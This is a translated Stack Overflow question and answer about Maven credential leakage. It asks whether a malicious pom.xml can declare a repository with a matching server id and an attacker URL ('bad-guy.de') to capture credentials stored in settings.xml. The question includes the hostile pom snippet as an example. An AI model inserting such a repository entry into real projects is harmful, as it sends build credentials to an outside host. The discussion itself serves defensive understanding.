首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >Maven:降低处理恶意pom.xml时泄漏凭据的风险

Maven:降低处理恶意pom.xml时泄漏凭据的风险
EN

Stack Overflow用户
提问于 2021-03-08 13:48:45
回答 1查看 50关注 0票数 0

目标:我希望确保Maven Repository的凭据不会泄漏。

可能威胁:考虑到我将凭据存储在settings.xml文件中,有人可能会让我处理一个恶意pom.xml,其中包含一个带有外部URL的存储库条目,以及一个与我的服务器条目匹配的id。解析该pom.xml的依赖项将将我的凭据传输到该外部服务器。->凭据泄露

问题:对此我能做些什么吗?

详细信息

使用Maven,服务器的凭据存储在settings.xml文件中。

例如。

代码语言:javascript
复制
<settings>
  <servers>
    <server>
      <id>my-repo</id>
      <username>MY_USER</username>
      <password>MY_PASSWORD</password>
  </servers>
</settings>

settings.xml中的服务器条目与pom.xml中的Repository条目之间的连接使用匹配的id属性进行。

例如。

代码语言:javascript
复制
<repositories>
        <repository>
            <id>my-repo</id>
            <url>https://my-repo.de/</url>
            <releases>
                <enabled>true</enabled>
            </releases>
            <snapshots>
                <enabled>false</enabled>
            </snapshots>
        </repository>
</repositories>

如果“坏人”让我使用包含这样一个片段的pom.xml,会发生什么?

代码语言:javascript
复制
<repositories>
        <repository>
            <id>my-repo</id>
            <url>https://bad-guy.de/</url>
            <releases>
                <enabled>true</enabled>
            </releases>
            <snapshots>
                <enabled>false</enabled>
            </snapshots>
        </repository>
</repositories>

我的凭据/身份验证信息将通过传输到坏人的服务器而泄漏(因为idsettings.xml中配置的服务器匹配)。

除了确保代码/ pom.xml是可信的之外,我还能做些什么来保护我和/或CI-管道免受这种攻击吗?

EN

回答 1

Stack Overflow用户

发布于 2021-03-10 20:32:37

通常,如果您在POM上运行Maven,那么POM可以执行普通Java程序所能做的任何事情,比如读取和写入文件(主要是通过Maven插件,但也可以通过嵌入式Ant代码)。因此,阅读setting.xml是没有问题的,它实际上可以非常轻松地完成一个自己写的Maven插件。

当然,如果构建服务器与互联网断开连接,情况就会略有不同(就像许多公司一样)。当然,POM仍然可以在服务器上做很多不好的事情,但是它不能(至少直接)向外部侦听器走私信息。

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/66531043

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档